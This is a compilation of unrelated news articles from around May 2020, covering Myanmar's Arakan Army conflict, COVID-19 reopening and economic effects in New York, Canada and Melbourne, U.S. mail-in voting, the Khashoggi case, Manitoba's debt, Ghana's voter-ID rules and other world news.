The use of civilian clothing by soldiers of the ethnic Rakhine rebel Arakan Army (AA) in skirmishes with Myanmars military in Rakhine and Chin states has led to a substantial increase in arbitrary arrests of villagers by government troops, sources said Thursday.

In recent days, a video has gone viral on social media purporting to show plainclothes members of the AA launching an armed attack on a military training center in the Kanni area of Rakhine states Minbya township in March.

Brigadier Gen Zaw Min Tun from the Military Information Committee confirmed to RFAs Myanmar Service that troops were fired on by insurgents in civilian clothing during the attack.

It was an attack on the military training facility in Kanni area of Minbya township, he said of the video.

The AAs elite members from nearby villages disguised themselves as civilians and launched the attack. All the attackers who were captured or killed were wearing plainclothes. Thats why we have been saying that AA troops are doing this.

The military has repeatedly said they cannot distinguish AA members from civilians because the rebel troops do not wear uniforms and hide among civilians, and has used the claims to justify a campaign of arrests and interrogations in the areas where the rebel army operates.

According to the Thazin Legal Aid group, which is based in the Rakhine capital Sittwe, more than 500 people were taken into custody by the military and charged with having ties to the AA in 2019 alone.

However, AA spokesperson Khine Thukha denied that soldiers from his rebel army purposefully disguise themselves as civilians when engaging with the military.

Civilians are distinguishable from soldiers, who mobilize with their military unitseven without uniforms, he told RFA, adding that no soldier travels alone.

Myanmars military is using this accusation as an excuse to shoot and kill civilians.

Additionally, military troops disguise themselves as civilians to attack AA troops, he said, without providing details.

Increasing arrests

Observers said the use of plain clothes by AA soldiers is causing the military to arrest an increasing number of civilians due to the difficulty in distinguishing them from combatants.

Zaw Zaw Tun, the secretary of the Rakhine Ethnic Congress told RFA that AA members regularly fight in plainclothes and engage with the local civilian population.

The situation is not clear cutthats why the military arrests everyone as suspects to make their job easier, he said.

Thazin Legal Aids Myo Myat Hein told RFA arrests on suspicion have significantly impacted civilians.

The law allows the military to arrest people and interrogate them based on suspicion alone, but the authorities need solid evidence to file charges with the court, he said.

There are many cases in which the suspects were released after a trial. These arrests based on unfounded suspicions are seriously affected the people.

Political analyst Maung Maung Soe told RFA it is normal for insurgent forces engaging in guerilla warfare to live among civilians and fight in plain clothes.

He said the military should work with residents to distinguish between AA fighters and civilians, instead of arresting everyone as potential insurgents.

We have seen fighters blend in among civilians during armed conflicts  such as during the Vietnam War, Maung Maung Soe said.

The military holds the stereotypical viewpoint that all local civilians are conspirators and enemiesthis is a serious problem for them, he added.

In real warfare, it is crucial to gain the support of local civilians. The military should try to win their hearts. If they act from the perspective that all local villagers are insurgents, the results will not be good.

Reported by Waiyan Moe Myint. Translated by Ye Kaung Myint Maung. Written in English by Joshua Lipes.
New York may still be months away from a return to some semblance of normal. But as the state starts to get a handle on the evolving crisis, New Yorkers are getting little tastes of the before times. In New York City, alternate side parking has returned after being suspended for two months  there may be a pandemic raging, but thats no excuse for litter-strewn streets. And Gov. Andrew Cuomo announced that small religious services of up to 10 people can resume. We New Yorkers can have a little normalcy, as a treat. Keep reading for the rest of the weeks not-so-normal news.

The shifting reopening metrics

Gov. Andrew Cuomo announced that two more upstate areas can enter the first phase of reopening: Western New York and the Capital Region. However, those reopenings were only possible because of the amended criteria that Cuomo established for deaths and new hospitalizations. A region can reopen if it has a 14-day sustained decline in total net hospitalizations and deaths based on three-day rolling averages. Originally, alternative metrics also allowed a region to reopen if it never had more than 15 new hospitalizations or more than 5 deaths based on three-day averages since the beginning of the outbreak. That language still exists on the governors website explaining the reopening metrics. However, Cuomo announced a change to the alternative metrics. Rather than measuring from the start of the pandemic, the state now measures from May 15, the first day other parts of the state began reopening. Western New York, for example, should have been a least a week away from reopening when it did, but thanks to the new metrics, Cuomo announced it entered the first phase on May 19. The Capital Region was in a similar boat. Because the area didnt see immediate spikes in hospitalizations or deaths after May 15, it was permitted to reopen after recruiting enough contact tracers.

New Yorks beach boondoggle

New York City residents hoping to hit the beach for Memorial Day weekend had their hopes squashed by Mayor Bill de Blasio and Long Island officials. After de Blasio announced city beaches would be closed to swimming, officials on Long Island floated the possibility of restricting the islands beaches to residents of Nassau and Suffolk counties to prevent overcrowding from city interlopers. Initially, de Blasio said that city residents should be allowed on Long Island beaches, adding that there should not be any ill feeling toward someone depending on where they come from. Nassau County Executive Laura Curran said she spoke with the mayor and understood his rationale, suggesting a compromise was in the works. But soon after, she announced she would sign legislation restricting access to Nickerson Beach to county residents only. Suffolk County Executive Steve Bellone had announced earlier his intention to do the same for his countys beaches.

Cuomo defends nursing home policies

Amid growing scrutiny over the states policy of sending recovering coronavirus patients to nursing homes, Cuomo continued to defend his administrations actions. Responding to criticisms of his March 25 directive, Cuomo placed the blame on President Donald Trumps administration, saying he was just following federal guidelines. He earlier said the state didnt do anything wrong, and the high number of deaths  nearing 6,000 at nursing homes in New York  is at least partly attributable to bad luck. The state Department of Health did not change its rules for nursing homes until earlier this month, stating that homes could not accept any residents who had tested positive. The March 25 order has been removed from the Department of Health website, according to The New York Times.

Democratic incumbents kicked off the ballot

Two Democratic assemblywomen will no longer appear on the June primary ballot after the states top court ruled that petitioning errors made them ineligible. Three-term Assemblywoman Rebecca Seawright was kicked off the ballot because she failed to include a cover letter when she filed her paperwork. Although a mid-level court decided to keep her on the ballot, offering Seawright a glimmer of hope, the state Court of Appeals reversed that decision. The Court of Appeals also removed Assemblywoman Carmen Arroyo for a slightly more insidious reason. The 26-year incumbent had backdated a large number of petitions, which amounted to fraud. The decision opens the door to her insurgent primary opponent Amanda Septimo, who is backed by the Working Families Party.

Racial and economic disparities in COVID-19 deaths

New data released by New York City painted in sharp contrast the racial and economic disparities in coronavirus deaths. Low-income communities that are largely black and Latino have borne the brunt of the harm from the pandemic. The Brooklyn communities of Starrett City and East New York had the highest death rates, while the Bronx was the hardest-hit borough overall. Most of the areas with the lowest death rates were in wealthy Manhattan neighborhoods with mostly white residents.
For the first time since the Kargil intrusions of 1999, Indian territory is in the hands of foreign soldiers. Starting in the third week of April, over 5,000 Chinese soldiers have intruded at five points in Ladakh  four along the Galwan River, and one near the Pangong Lake.

While patrol intrusions from both sides are routine in areas where the Line of Actual Control (LAC)  the de facto border between India and China  is disputed, the LAC in the Galwan Valley corresponds to Chinas official claim line. This means, in sending thousands of the ...
TORONTO - The shutdown of much of the country's court system due to the COVID-19 pandemic is taking a financial toll on many lawyers, and law societies are not doing enough to help, members of the profession say.

Hey there, time traveller!

This article was published 22/5/2020 (608 days ago), so information in it may no longer be current.

TORONTO - The shutdown of much of the country's court system due to the COVID-19 pandemic is taking a financial toll on many lawyers, and law societies are not doing enough to help, members of the profession say.

While trial lawyers are perhaps most affected, many in the trade say other sectors  such as real estate  are also feeling the pinch. Small firms and relative newcomers, they say, are most exposed.

Godfred Chongatera, a lawyer in a small three-person mixed practice in Halifax, said he estimates his overall business has fallen 35 to 40 per cent. Declining revenues and work have meant having to lay off two full-time staff.

"Who knows where this is going?" Chongatera said. "If this drags on for a long time, some or most sole practitioners will fold."

Most courts across Canada have now been all but closed for months. Bail hearings and other emergency applications have continued, as has other legal work that can be handled in writing or remotely, but many lawyers only make money when they can go to court for hearings.

For the most part, legal firms are small businesses. Many lawyers work as sole practitioners, perhaps with a staff member. They generally don't qualify for emergency federal aid, even though their own bills continue to roll in for rent, technology and other fixed expenses.

One significant cost is for practice and insurance fees that can add up to around $5,000 or $6,000 a year. Some law societies have deferred payments but the bills will still come due after months of reduced income.

The Federation of Law Societies of Canada did not respond to a request for comment.

A spokeswoman for the Law Society of Ontario said Friday its efforts to help include liaising with the federal government regarding its recent announcement of the expansion of the Canada Emergency Business Account.

"This makes loans under CEBA available to lawyers and paralegals who do not have annual payrolls of at least $20,000, provided they meet the new criteria," Wynna Brown said.

Law society directors, known as benchers, have also decided to take no pay for governance work for the time being, she said.

The pandemic has had a number of wider impacts on the profession, lawyers say: many clients can no longer afford legal services, new cases are hard to come by and there have been problems getting paid for work already rendered.

Mylene Lemieux, president of the 5,000-member Young Bar of Montreal, said those doing insolvencies or contract law, for example, are managing. Those dependent on court activity, especially solo practitioners, are hurting. Even employees of national law firms, she said, have taken pay cuts of up to 20 per cent or been laid off.

"We are concerned by the situation," Lemieux said. "It's been very difficult."

Bill Trudell, chairman of the Canadian Council of Criminal Defence Lawyers, said fees should be forgiven. He also urged consideration for one-time emergency grants.

Importantly, lawyers say, law societies should make it clear they understand the problem.

"There's no suggestion that the law society is doing anything to reduce its budget, its expenditures," said Richard Fowler, a criminal lawyer in Vancouver. "Even symbolically, it would matter to all of the members if there was some belt-tightening going on to set an example, to show that they appreciate the hardship that many lawyers are going through."

Larry Banack, an emeritus bencher of the Law Society of Ontario, said the society can and should be helping. Expected expenditures by the regulator for events such as the call-to-the-bar ceremony and monthly in-person meetings of benchers are not happening, he said.

"There are reserves. There is money available," Banack said. "It certainly wasn't intended for this purpose, but perhaps could be realigned or redesignated in a way that could reflect the financial trauma the lawyers and paralegals are experiencing."

Banack noted that car-insurance companies have been giving pandemic-related rebates.

"There's less risk of accidents if the cars are in the driveways," Banack said. "Lawyers are in their driveways. They simply aren't practising."

A spokeswoman for LawPro, which insures Ontario's lawyers, agreed firms are seeing changes in demand  down or up  depending on their field. There's no indication the pandemic will lead to fewer or cheaper insurance payouts down the road, she said.

"Typically, economic downturns have driven up the cost of claims," Naomi Dummett said. "Our claims expenses increased by approximately 15 per cent during the 2008-2009 recession."

This article by The Canadian Press was first published on May 22, 2020.
Source: Xinhua| 2020-05-22 07:27:29|Editor: huaxia

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WASHINGTON, May 21 (Xinhua) -- U.S. Democratic presidential candidate Joe Biden has asked Senator Amy Klobuchar to undergo a formal vetting to be considered as his vice presidential running mate, local media reported Thursday.

The request for information from potential running mates like Klobuchar "is underway," a senior Biden campaign aide told CBS News.

It's not yet clear if Klobuchar has consented to the vetting.

If a potential contender consents, she should be poised to undergo a rigorous multi-week review of her public and private life and work by a hand-picked group of Biden confidantes, who will review tax returns, public speeches, voting records, past personal relationships and potentially scandalous details from her past, said a CBS News report.

Biden has publicly credited Klobuchar for strong debate performances and for helping him win her home state Minnesota in March.

Biden committed during a March primary debate to picking a woman as his running mate and told donors during a fundraiser last month that he hoped this vetting process would be done by July.

Besides Klobuchar, California Senator Kamala Harris, Massachusetts Senator Elizabeth Warren, former Georgia Democratic gubernatorial nominee Stacey Abrams and Michigan Governor Gretchen Whitmer are thought to be possible contenders.

The 77-year-old former vice president would be the oldest man ever elected to the White House and has not committed to seeking a second term if he wins the presidency, meaning his vice president would be a presumptive front-runner in the 2024 election, or positioned to lead the pack in 2028. Enditem
A chill wind is blowing through some of Melbourne's best-known food and retail strips, as the COVID-19 lockdown threatens to escalate shop vacancy rates already in the double digits.

While the easing of social-distancing restrictions in Victoria has seen people flock back to shopping centres, high streets continue to struggle under difficult conditions.

Vacant shops along Chapel Street in South Yarra. Credit:Joe Armao

The return of customers to restaurants, pubs and cafes on June 1 is the light at the end of the tunnel for venue owners, however it hasn't come soon enough for some.

On Chapel Street, at least 10 businesses have already closed permanently since the lockdown began.

Foot traffic was down about 85 per cent four weeks ago, although that has improved in the past fortnight.

Click here to read the full story.
The National Leadership of the Ghana Muslim Mission (GMM) has sent its felicitations to all Muslims and wished them a happy Eidul-fitr as they prayed for Allah to accept their prayers and grant them the best in their efforts.



We pray for the peace and blessings of Allah on Ghana and the entire world. In the midst of the global COVID-19 (Coronavirus) pandemic, we ask Allah to give our leaders wisdom to steer the affairs of the country and also guide them on the right paths.



A release, signed by the National Chairman of the GMM and issued to the Ghana News Agency on Friday, said Ramadan has always been a great month filled with high spirituality, love, goodness, charitable acts, piety, more prayers and lots of kindness.



It said this exercise is meant to remind Muslims of their duties to Almighty God and mankind, as they emulate the generous and pious, peaceful and decent character of the Holy Prophet Muhammad (Peace Be Upon Him).



The release said this years Ramadan and Eidul-fitr is exceptional due to COVID-19 and the ban on social gatherings. During the entire month, Muslims the world over prayed to Allah to end the COVID-19 pandemic.



Our cries to Allah especially during the last 10 days of Ramadan increased showing how weak we are as humans. Insha- Allah the COVID-19 will be over shortly by Allah and life would return to normalcy.



As we exit the month of Ramadan we urge all Muslims to try and maintain their new state of life by constantly getting closer to Allah through devotion to prayers and frequent reading of the Holy Quran as well as an increase in good deeds and eschewing all forms of evil.



The release urged all Muslims to observe the Eid prayers at home and follow all the Ghana Health Service guidelines in order to keep safe from COVID-19 and other infections.



As expected, Muslims all over the world will celebrating this momentous occasion. We appeal to all Muslims to use the occasion to show more love to the poor and needy no matter their faith by sharing whatever goodies with them. Anyone who shares out of his wealth with others gains the favour of Allah.



It also entreated the youth to celebrate this occasion humbly and solemnly with the fear of Allah. They should try as much as possible to respect the laws of the country as we celebrate the Eidul-fitr and desist from any acts of lawlessness while celebrating the Eid.



The leadership of the GMM later prayed for Allah to grant the people of Ghana sustenance, good health filled with good deeds and prosperity and save the nation from all kinds of calamities including COVID-19.



We pray for Allahs forgiveness for our nation and the world at large. We pray for healing of all COVID-19 patients in Ghana and beyond as well as protection of front line workers, children, and expectant mothers among others. We pray for peace in troubled parts of the world where people especially women and children are being tortured, starved and suffer all sorts of hardships as a result of war and civil strife, the release concluded.

Source: GNA









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Uncertainty in economies around the globe has caused stocks to remain unsettled. For the purpose of long-term dividend investing, this means theres now discounts available.

Investors can lock in stocks at decent prices with outsized yields at the moment. By doing so, the total return potential over a long horizon is quite high.

However, its vital for investors to choose high-quality dividend stocks. With a global pandemic exposing vulnerabilities in businesses, investors need to be confident the stock can weather an economic downturn.

Today, well look at two TSX stocks that are poised to survive these difficult times and thrive in the future.

Dividend investing: BMO

Bank of Montreal (TSX:BMO)(NYSE:BMO) is one of the major Canadian banks. It offers banking services to its individual and commercial customers in the U.S., Canada, and around the globe.

BMO hasnt been immune to negative pressures that have dragged down the broader stock market. It was trading as high as $100.92 as recently as February 21 and is currently trading at $64.36 as of writing.

However, for those focused on long-run dividend investing, this simply means BMO might present a solid buying opportunity. With its 6.59% yield, theres no doubt the potential for high total returns is there.

BMO has focused on its U.S. presence recently, which is a strategy thats certainly paid off for its peer TD. By staying diversified geographically, BMO is protecting itself against various risks.

However, its worth noting BMO has high exposure to Canadian oil and gas. Considering the current state of the sector, that could be a near-term issue.

In the long term though, BMO is so well-capitalized that this exposure should be somewhat of a non-issue. Plus, considering the massive yield on offer and BMOs commitment to growing that yield, sentiments should still be largely positive.

Dividend investing: RBC

Royal Bank of Canada (TSX:RY)(NYSE:RY) is Canadas largest bank by market cap. Its domestic and global presence make it a household name when it comes to banking.

Story continues

Like with BMO, RBC has also felt the effects of the economic downturn. Its currently trading at $82.50, but traded as high as $109.21 on February 21. Its worth noting that RBC hasnt fallen as drastically as BMO.

Currently, RBC is yielding 5.24% and has one of the most secure dividend yields on the TSX. RBC, along with the other Canadian banks, hasnt cut dividends for many years  not even during the financial crisis.

For those worried about exposure to oil and gas, RBC is by far less exposed to the sector than BMO, while still be less exposed to domestic housing than some of the other banks as well.

In the long run, RBCs industry-leading capabilities and massive dividend yield could make for huge returns. For dividend investing, a yield of 5.24% is more than solid.

You can scoop up a bigger yield with BMO, but youre taking on a little more sector-specific risk and sacrificing a bit of stability as well.

Dividend investing strategy

In the end, you cant really go wrong with the major Canadian banks. If youre seeking a bit more reliability and diversification, RBC might be the better choice. But, BMOs monstrous yield is definitely worth consideration as well.

Over time, with dividend re-investing and compounding taken into account, owning either of these stocks is a great pathway to high returns.

The post Dividend Investing: 2 TSX Stocks to Buy appeared first on The Motley Fool Canada.

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Fool contributor Jared Seguin has no position in any of the stocks mentioned.

The Motley Fools purpose is to help the world invest, better. Click here now for your free subscription to Take Stock, The Motley Fool Canadas free investing newsletter. Packed with stock ideas and investing advice, it is essential reading for anyone looking to build and grow their wealth in the years ahead. Motley Fool Canada 2020
President Donald Trump has slammed voting by mail as a Democratic ploy to fix elections and attacked Democratic leaders who want to expand the practice in swing states such as Michigan.

But many of the states that are making the greatest strides on increasing voting by mail during the pandemic are unlikely to play a significant role in deciding the winner of the 2020 presidential election - and are doing it without much partisan angst.

Massachusetts, where a Republican presidential candidate hasn't won since Ronald Reagan in 1984, is a case in point. The state's moderate Republican Gov. Charlie Baker is broadly supportive of Democratic-led efforts to expand voting by mail and has already signed a bill aimed at dramatically expanding the practice through the state's September primary.

It's Democratic Secretary of State William Galvin, meanwhile, who is pushing back against the most ambitious mail-in voting plans from Democratic state legislators, warning that if the state tries to go too far it could damage the integrity of the election.

The moves are part of a broader effort to ensure state residents can cast auditable paper ballots during the pandemic - which experts say is vital for security - but don't have to risk their health by visiting an in-person polling site. Massachusetts also has a long way to go on increasing vote by mail, which is typical of both Democratic and Republican-led states along the East Coast. Only 3 percent of Massachusetts voters cast their ballots that way in 2018.

"It's challenging for states that have a history of significant in-person voting to make this modification, but it's not impossible," Galvin told me. "This is not something that you can just snap your fingers and it will change everything. You have to do it carefully."

That's a far cry from the picture of Democratic scheming and fraud that Trump has painted in tweets and public comments.

Georgia, Iowa, Nebraska and West Virginia all have Republican governors and top election officials - but are still planning to send request forms for mail ballots to all registered voters during the pandemic.

Trump has claimed without evidence that voting by mail leads to widespread fraud including "thousands and thousands of fake ballots" - though he voted by mail himself in Florida this year.

He also has said that if Democratic proposals to expand mail voting were enacted, "you'd never have a Republican elected in this country again" - though evidence suggests expanded voting by mail doesn't favor one party over another.

The state would send live ballots only to those who request them, a practice increasingly being deployed by Republican and Democratic states across the country.

The proposal would also expand early in-person voting to 18 days ahead of the general election and at least a week ahead of the primary. And he's planning a slate of other changes to ensure elections are safe during the pandemic, including hiring younger and healthier poll workers and mandating that polling locations across the state are large enough to accommodate social distancing.

Galvin has told legislative leaders in both chambers, which are controlled by Democrats, that he wants to have a plan in place by mid-June to ensure there's enough time to make all the changes, he said.

Galvin declined to speculate how much that will cost, saying he's not sure how bad the pandemic will be by fall or how competitive some of the primary races will be.

But he does think it's likely to cost more than $8 million, which is the state's share of $400 million in election money Congress appropriated in its $2 trillion coronavirus stimulus bill.

That's the system used by the five states that vote almost entirely by mail, and it's required in a proposal from House Democrats that would deliver an additional $3.6 billion for elections as part of coronavirus relief.

"We have a tremendous amount of work to do to put robust vote-by-mail in place, and there shouldn't be extra hoops for voters to go through in order to exercise their right to vote safely," state Sen. Rebecca Rausch, a sponsor of one of the most progressive efforts, told me.

But many Republicans, including some top election officials in other states, say that creates too great a risk for voter fraud because many ballots will go to addresses where the voter has moved or died since registering.

Galvin also opposes that method. He isn't specifically concerned about fraud, he says, but wants to maintain clear records about who has requested ballots, who has received them and when they've been returned to avoid confusion or the perception of fraud.

The process would also make it difficult to get the right ballot to the right voter during primaries because Massachusetts residents are allowed to vote in either party's primary regardless of their affiliation, he said.

"It's not about whether Trump tweets about it, mostly erroneously. Or whether Democratic activists think that this would be a great strategy or not," he said. "What matters is protecting the rights of voters and protecting the integrity of the electoral process."

As of 2018, less than 10 percent of voters cast ballots by mail in New Hampshire, New York, Pennsylvania, Maryland, Delaware, Virginia, North Carolina, South Carolina, Georgia, Alabama, Mississippi and Louisiana, according to data compiled by the Brennan Center for Justice at New York University.

States in the west, meanwhile, have generally embraced voting by mail, partly because of their more spread-out geography. The five states that vote almost entirely by mail are Washington, Oregon, Utah, Colorado and Hawaii. As of 2018, about 79 percent of Arizonans voted by mail as did 72 percent of Montanans and 63 percent of New Mexicans.

In New Hampshire: Only about 8 percent of voters cast mail ballots in 2018, and they were required to provide an excuse to do so. But Gov. Chris Sununu (R) has pledged that anyone who wants to vote by mail will be able to do so in November if the virus is still a factor.

In Vermont: About 10 percent of voters cast ballots by mail in 2018. The state doesn't require an excuse to vote by mail, and Secretary of State Jim Condos (D) has said he wants to prepare for the majority of Vermonters to vote that way in November if the virus is still a factor. But he has clashed with Gov. Phil Scott (R) who wants to wait until after the state's August primary to make a decision.

In Maine: About 29 percent of people in the Democratic-led state voted by mail in 2018, but state election leaders still say they're planning for a "significant increase in the use of absentee voting for the 2020 primary and general elections."

- - -

The Washington Post's Tonya Riley contributed to this report.
Khashoggis Sons Forgive Saudi Killers, Sparing 5 From Execution

DUBAI, United Arab EmiratesThe family of slain Washington Post columnist Jamal Khashoggi announced Friday they have forgiven his Saudi killers, giving legal reprieve to the five government agents whod been sentenced to death for an operation that cast a cloud of suspicion over the kingdoms crown prince.

We, the sons of the martyr Jamal Khashoggi, announce that we forgive those who killed our father as we seek reward from God Almighty, wrote one of his sons, Salah Khashoggi, on Twitter.

Salah Khashoggi, who lives in Saudi Arabia and has received financial compensation from the royal court for his fathers killing, explained that forgiveness was extended to the killers during the last nights of the Muslim holy month of Ramadan in line with Islamic tradition to offer pardons in cases allowed by Islamic law.

The announcement was largely expected because the trial in Saudi Arabia left the door open for reprieve by ruling in December that the killing was not premeditated. That finding was in line with the governments official explanation of Khashoggis slaying that he was killed accidentally in a brawl by agents trying to forcibly return him to Saudi Arabia.

Prior to his killing, Khashoggi had written critically of Saudi Arabias crown prince in columns for the Washington Post. Hed been living in exile in the United States for about a year as Crown Prince Mohammed bin Salman oversaw a crackdown in Saudi Arabia on human rights activists, writers, and critics of his devastating war in Yemen.

In October 2017, a team of 15 Saudi agents was dispatched to Turkey to meet Khashoggi in the Saudi Consulate in Istanbul for what he thought was an appointment to pick up documents needed to wed his Turkish fiance. The group included a forensic doctor, intelligence and security officers, and individuals who worked for the crown princes office.

Saudi journalist Jamal Khashoggi speaks during a press conference in Manama, Bahrain on Dec. 15, 2014. (Hasan Jamali/AP)

Turkish officials allege Khashoggi was killed and then dismembered with a bone saw. The body has not been found. Turkey, a rival of Saudi Arabia, apparently had the Saudi Consulate bugged and has shared audio of the killing with the CIA, among others.

The grisly killing, which took place as his Turkish fiance waited for him outside the building, drew international condemnation of Prince Mohammed.

The 34-year-old prince, who has the support of his father King Salman, denies any involvement. U.S. intelligence agencies, however, say an operation like this could not have happened without his knowledge and the Senate has blamed the crown prince for the murder.

After initially offering shifting accounts of what transpired, and under intense international and Turkish pressure, Saudi prosecutors eventually settled on the explanation that Khashoggi had been killed by Saudi agents in an operation masterminded by two of the crown princes top aides at the time. Neither was found guilty in trial, however.

In addition to the five who had been sentenced to execution, the Saudi trial concluded last year that three other people were found guilty of covering up the crime and were sentenced to a combined 24 years in prison. In all, 11 people were put on trial in Saudi Arabia for the killing.

Saudi media outlet Arab News sought to clarify Friday that the announcement made by Khashoggis sons may spare the convicted killers from execution, but does not mean they will go unpunished.

In an interview in September with CBS 60 Minutes, Prince Mohammed said he takes full responsibility as a leader in Saudi Arabia. But he insisted that he had no knowledge of the operation, saying he cannot keep close track of the countrys millions of employees.

By Aye Batrawy
The Manitoba government has the highest debt burden of any province in Canada, Premier Brian Pallister says. It's a claim hes been making for months, even before the economic fallout from the coronavirus pandemic.

Hey there, time traveller!

This article was published 21/5/2020 (608 days ago), so information in it may no longer be current.

The Manitoba government has the highest debt burden of any province in Canada, Premier Brian Pallister says. It's a claim hes been making for months, even before the economic fallout from the coronavirus pandemic.

On Wednesday, the premier had some credible evidence to support his assertion: a direct quote from a recent S&P Global Ratings report on Manitobas creditworthiness.

"The primary constraint on Manitobas credit profile continues to be its debt burden, which remains the highest of any Canadian province," Pallister accurately quoted from the report.

S&P Global Ratings estimates the province will borrow $3.5 billion more this year than it projected prior to the COVID-19 outbreak (less than the provinces $5-billion estimate).

Pallister repeatedly cites the debt ranking to remind Manitobans of the fiscal mess the previous NDP government left behind. He also uses it as a warning of the dangers that lurk if the province doesnt temper its borrowing during the economic crisis brought on by the pandemic.

By stating Manitoba has the highest debt of any province, it provides the premier with cover to defend his recent austerity measures (such as cuts to government-funded agencies and the public service).

MIKAELA MACKENZIE / WINNIPEG FREE PRESS "The primary constraint on Manitobas credit profile continues to be its debt burden, which remains the highest of any Canadian province," Premier Bria Pallister accurately quoted from the report.

What the premier doesnt say, however, is the S&P Global Ratings assessment includes Manitoba Hydros debt.

Most conventional measurements of provincial debt do not include Hydro, because the Crown corporation is responsible for its own liabilities. While the province guarantees Hydros debt, it is repayable by ratepayers, not by taxpayers.

Even the Manitoba provincial government excludes Hydro when calculating its net summary debt, as it provides a more accurate assessment and allows for an apples-to-apples comparison with other provinces.

Take Hydro's debt out of the equation and Manitobas debt burden is around middle-of-the-pack.

A recent RBC Economics report on the impact of the pandemic on provincial governments ranks Manitoba fifth among the regions in net debt as a percentage of GDP (excluding Hydro), as of March 2020.

RUTH BONNEVILLE / FREE PRESS FILES What the premier doesnt say, however, is the S&P Global Ratings assessment includes Manitoba Hydros debt.

Thats not to say Hydros debt is not an important factor when assessing the provinces overall debt burden.

S&P Global Ratings is one of three major bond rating agencies that determine Manitobas credit rating. If it considers Hydros debt an important factor, the government would be foolish to ignore it. A credit rating downgrade would increase borrowing costs.

In the same report, however, S&P Global Rating also predicted Hydros borrowing requirements will fall significantly in the coming years, and found the Crown corporation is in a strong position to repay its debt.

"We believe that MHEB (Manitoba Hydro-Electric Board) as a regulated, vertically integrated utility with an effective monopoly position, has the capacity and demonstrated willingness to repay its debt obligations as they become due," the report says.

The bond-rating agency also pointed out while provincial debt is expected to rise substantially this year, Manitoba will also benefit from lower borrowing costs, in large part because of the Bank of Canadas recent $50-billion provincial bond purchasing plan.

S&P Global Rating did revise its outlook for Manitoba from "positive" to "stable." It also affirmed the province's long-term credit rating of A+, while finding Manitoba is in a good position to meet its debt obligations.

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S&P Global Ratings expects the province to help boost the local economy through "significant additional support to individuals and businesses, especially those not benefiting from federal programs."

Even though Pallister has largely preached fiscal austerity during the pandemic, S&P Global Ratings expects the province to help boost the local economy through "significant additional support to individuals and businesses, especially those not benefiting from federal programs."

Pallister didnt quote that part of the report.

Manitoba may have a heavy debt burden, but it has the flexibility to provide the kind of fiscal support required to mitigate the impact of the worst economic downturn in decades.

Failure to do so could worsen the provinces debt load in the long run, if government inaction and unnecessary funding cuts prolong Manitobas economic recovery.

tom.brodbeck@freepress.mb.ca
The Minority has filed a motion in Parliament calling for the outright rejection of the new Constitutional Instrument (CI) the Electoral Commission (EC) laid in Parliament to make Ghana Card and the Ghanaian passport the only legal identification documents for registering people in the new biometric voters' register.



The motion was filed by the Member of Parliament for Bawku Central, Mr Mahama Ayariga, on behalf of the Minority, seeking the two-thirds of legislators to reject the Public Elections (Amendment) Regulations 2020 CI 126.



Following the filing of the motion on May 19, 2020, the Business Committee of Parliament will have to decide on a date Mr Ayariga will be allowed to move the motion on the floor to put up argument for the rejection of the C.I.



After that, legislators from both sides of the House will be allowed to debate the motion and a vote taken.



If the majority of MPs (two-thirds) vote in favour of the motion, the Minoritys call for the new C.I. to be rejected would hold but if majority legislators kicks against it, the motion will automatically need to go through the 21 continuous sitting days to mature and come into force.



Constitutional Instrument



The C.I. was first laid before the House on March 16, 2020 but was withdrawn and relaid on two occasions.

As of Wednesday, May 20, 2020, it had spent 10 sitting days in the House after it was laid for the third time.

Per the instrument, those who do not have either of the two national identification documents can, however, go ahead to register, on condition that they can be backed by two persons who have already registered.



The C.I., which will amend the relevant law or C.I. 91, was signed by the Chairperson of the EC, Mrs Jean Adukwei Mensa, and laid before the House by the Majority Leader, Mr Osei Kyei-Mensah-Bonsu.



Rationale for motion



Explaining the rationale behind his decision to file the motion, Mr Ayariga said when a C.I. was laid in Parliament and matured after 21 sitting days when there is no objection, it would come into force.



However, he said should there be an objection to it becoming a law, there should be a two-thirds of members of the House voting to reject it.



He said strongly objected to the C.I. coming into force, hence the proper procedure was to come by a motion and make a case in the House why legislators needed to vote by a two-thirds majority to reject the C.I. to prevent it.



A former Chairman of the Subsidiary Legislative Committee, Mr Ayariga said when an L.I. or C.I. was brought and laid in the House, no action by the committee, including writing or refusing to write a report on the instrument, would not affect its coming into force after 21 continuous sitting.



Whether the Subsidiary Legislative Committee meets or not, presents a report or does not, after 21 days the C.I. that, had been validly laid, automatically comes into force, he said.



He said while the committee could make recommendations for the proponents of the C.I., the EC, to effect changes, under the Constitution the committee could not amend the C.I., saying that you can accept it whole or you reject outright as a whole.



After the C.I. had been laid, there is nothing the committee can do about. The committee can decide not to meet and Parliament can decide not to debate it and after 21 days, the C.I. automatically becomes law, he said.



So the only way that anybody can arrest the C.I. is not to wait for committees report, but moving a motion, calling on MPs to reject it and having the Speaker admit the motion and have it debated for me to argue why the C.I. must not come into force, after which MPs will be given the opportunity to debate and vote on it, he said.



Disenfranchising



Mr Ayariga pointed out that Article 42 of the Constitution required that any citizen of 18 years and of sound mind was entitled to be registered, and therefore questioned why the EC brought a C.I., which in the past had had the birth certificate as one of the documents that could be used to establish ones eligibility but currently took out the same birth certificate which was the only primary source of verification of ones age.



He also questioned why the passport office would accept ones birth certificate as a determinant of ones age, nationality and eligibility yet the EC would not accept the same birth certificate but would accept the passport which was a secondary document.

Source: Daily Graphic









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Source: Xinhua| 2020-05-23 03:16:13|Editor: huaxia

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RAMALLAH, May 22 (Xinhua) -- The Organization of Islamic Cooperation (OIC) will convene in June to discuss the Israeli government's plan of annexing parts of the West Bank territories, a senior Palestinian official said Friday.

Reyad al-Malki, Palestinian minister of foreign affairs, said in a press statement that he agreed with OIC Secretary General Yousef Al-Othaimeen to hold a ministerial meeting for OIC Executive Committee next month.

Al-Malki said that he discussed with Al-Othaimeen on the telephone the dangers of the Israeli annexation plan on security and stability in the region.

On Tuesday, Palestinian President Mahmoud Abbas announced the abolition of all the agreements and understandings reached with Israel and the United States. Enditem
BAKU, Azerbaijan, May 22

Trend:

The COVID-19 tests have revealed 681 healthcare workers of Azerbaijan to be infected, Chairman of the Management Union of Medical Territorial Unit (TABIB) Ramin Bayramli said at a briefing of the Operational Headquarters under Azerbaijani Cabinet of Ministers, Trend reports on May 22.

He noted that this made up 18 percent of the total number of infected. Of all infected, 537 health workers recovered and were discharged from the hospital, treatment of the remaining personnel continues.

To date, four healthcare workers infected with coronavirus have died.

